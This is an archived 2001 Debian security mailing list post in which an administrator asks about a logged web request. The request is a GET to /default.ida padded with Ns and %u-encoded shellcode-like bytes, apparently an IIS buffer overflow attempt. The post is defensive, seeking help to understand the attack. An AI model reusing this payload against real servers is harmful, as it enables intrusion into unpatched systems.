CGI Buffer Overflow?

To: debian-security@lists.debian.org
Subject: CGI Buffer Overflow?
From: Brian Rectanus <brectanu@vt.edu>
Date: Thu, 19 Jul 2001 17:17:26 -0400
Message-id: <[🔎] 3B574E66.9EC27245@brectanu.ais.vt.edu>

Anyone seen this before?  I have looked around for similar attacks, but
cannot find any info.  I assume that is a unicode string padded out with
Ns.  How would I go about finding out what is in the string?


xxx.xxx.xxx.xxx - - [19/Jul/2001:14:28:23 -0400] "GET
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9
090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0
078%u0000%u00=a  HTTP/1.0" 400 328


--Brian

Reply to:

Follow-Ups:
- Re: CGI Buffer Overflow?
  - From: Alexander Reelsen <alex@rhwd.owl.de>
- RE: CGI Buffer Overflow?
  - From: "Davey Goode" <Davey_Goode@bond.edu.au>
- Re: CGI Buffer Overflow?
  - From: Hubert Chan <hackerhue@geek.com>
- RE: CGI Buffer Overflow?
  - From: "Ronny Adsetts" <ronny.adsetts@amazing-internet.com>
- Re: CGI Buffer Overflow?
  - From: Brandon High <armitage@freaks.com>
- Re: CGI Buffer Overflow?
  - From: Graham Hughes <graham@lynda.com>
- Re: CGI Buffer Overflow?
  - From: MH <mh@seitung.net>
- Re: CGI Buffer Overflow?
  - From: "Noah L. Meyerhans" <frodo@morgul.net>
- Re: CGI Buffer Overflow?
  - From: Bart-Jan Vrielink <bartjan@vrielink.net>
- RE: CGI Buffer Overflow?
  - From: "Josh M. McKee" <josh@zorcat.com>
- Re: CGI Buffer Overflow?
  - From: Tamas TEVESZ <ice@extreme.hu>

Prev by Date: Re: non-US security fixes URL
Next by Date: Re: non-US security fixes URL
Previous by thread: Re: non-US security fixes URL
Next by thread: Re: CGI Buffer Overflow?
Index(es):
- Date
- Thread